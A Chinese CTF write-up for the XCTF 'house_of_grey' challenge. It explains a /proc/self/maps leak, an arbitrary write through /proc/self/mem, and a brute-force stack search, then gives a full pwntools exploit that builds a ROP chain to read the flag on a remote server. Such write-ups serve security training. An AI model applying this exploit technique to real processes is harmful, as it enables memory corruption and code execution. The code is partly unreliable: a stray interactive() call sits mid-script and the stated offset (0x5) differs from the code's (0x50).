XCTF-house_of_grey-WP

Posted on Mar 11, 2021

看到题目还以为是堆利用,但是实际上是文件系统中的一个小 trick。

前置的是 /proc 目录的知识,可以看这篇文章

这个知识在 hgame 中第一次碰到,可看这篇 WP 中的 the_shop_of_cosmos

漏洞点

任意地址写

这里的 buf 可以把 v8 溢出掉,结合

这个 case 可以实现任意地址写。

leak

结合 1 2 3 三个功能可以对除了 flag 之外的所有文件读取并输出,那么读 /proc/self/maps 就可以获得进程基地址和栈地址。

比较特殊的一点是 fn 函数通过 clone 新建进程执行,栈地址是在一个 mmap 的段中随机分配的,我们只能获得这个段的基地址

红框中是进程基地址,橙框中是 mmap 段的基地址。那么如何获得 fn 函数所使用的栈的地址呢?只能一段一段的读出来,然后查找标志值,比如我们输入的文件名 /proc/self/mem

sh.sendlineafter("5.Exit\n",'2')#3
sh.sendlineafter("you?\n",str(stack_base))
sh.interactive()

stack_seg_now = stack_base
buf_addr = 0
for i in range(24):
    sh.sendlineafter("5.Exit\n",'3')#2
    sh.sendlineafter("to get?\n",str(100000))
    stack_content = sh.recvuntil("1.Find")
    place = stack_content.find("/proc/self/mem") 
    if(place != -1):
        buf_addr = stack_seg_now + place + 5
        break
    else:
        stack_seg_now += 100000

这样就可以获得栈地址了。

由于 fn 的退出是用 exit 的,所以我们需要修改一个正常 ret 的函数的 ret 地址,比如直接修改 read 函数的返回地址,可以通过调试得出偏移。也就是 read_ret_addr = buf_addr - 0x5

算出返回地址后,就可以通过之前提到的任意地址写漏洞写入 rop_chain 了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context(os = 'linux',arch = 'amd64')

elf = ELF("./house_of_grey")
sh = remote("111.200.241.244",39538)
#sh = process("./house_of_grey-change")

sh.sendlineafter("n?\n",'y')

sh.sendlineafter("5.Exit\n",'1')#1
sh.sendlineafter("finding?\n","/proc/self/maps")#3

sh.sendlineafter("5.Exit\n",'3')#2
sh.sendlineafter("to get?\n",'4096')

sh.recvuntil('\n')
proc_base = int(sh.recvuntil("-",drop = True),base = 16)
sh.recvuntil("[heap]\n")
stack_base = int(sh.recvuntil("-",drop = True),base = 16)
sh.recvuntil("00:00 0 \n")
libc_base = int(sh.recvuntil("-",drop = True),base = 16)
log.success("proc_base:" + hex(proc_base))
log.success("libc_base:" + hex(libc_base))
log.success("stack_base:" + hex(stack_base))

sh.sendlineafter("5.Exit\n",'1')#3
payload = '/proc/self/mem'
sh.sendlineafter("finding?\n",payload)#4

sh.sendlineafter("5.Exit\n",'2')#3
sh.sendlineafter("you?\n",str(stack_base))
sh.interactive()

stack_seg_now = stack_base
buf_addr = 0
for i in range(24):
    sh.sendlineafter("5.Exit\n",'3')#2
    sh.sendlineafter("to get?\n",str(100000))
    stack_content = sh.recvuntil("1.Find")
    place = stack_content.find("/proc/self/mem") 
    if(place != -1):
        buf_addr = stack_seg_now + place + 5
        break
    else:
        stack_seg_now += 100000

log.success("buf_addr:" + hex(buf_addr))
read_ret_addr = buf_addr - 0x50

sh.sendlineafter("5.Exit\n",'1')#28
payload = '/proc/self/mem'.ljust(0x18,'\x00') + p64(read_ret_addr)
sh.sendlineafter("finding?\n",payload)#5

pop_rdi_ret = proc_base + 0x1823
pop_rsi_r15_ret = proc_base + 0x1821
sh.sendlineafter("5.Exit\n",'4')#29
name_addr = read_ret_addr + 0x78
payload = p64(pop_rdi_ret) + p64(name_addr) 
payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0)#mode
payload += p64(elf.symbols["open"] + proc_base)
payload += p64(pop_rdi_ret) + p64(6)#fd = 6
payload += p64(pop_rsi_r15_ret) + p64(stack_base) + p64(0)#buf
payload += p64(elf.symbols["read"] + proc_base)
payload += p64(pop_rdi_ret) + p64(stack_base)
payload += p64(elf.symbols["puts"] + proc_base)
payload += '/home/ctf/flag\x00'
sh.sendlineafter("content: \n",payload)

sh.interactive()

这个题目提供的程序在我的虚拟机上没法读文件,总是报非法系统调用的错误,所以一直都得打远程来测试,没法调试大概是这道题最让我头疼的点。

同时还要注意这个 exp 需要爆破,因为栈是在一个巨大的空间中随机的,24 次搜索不一定能够搜到栈。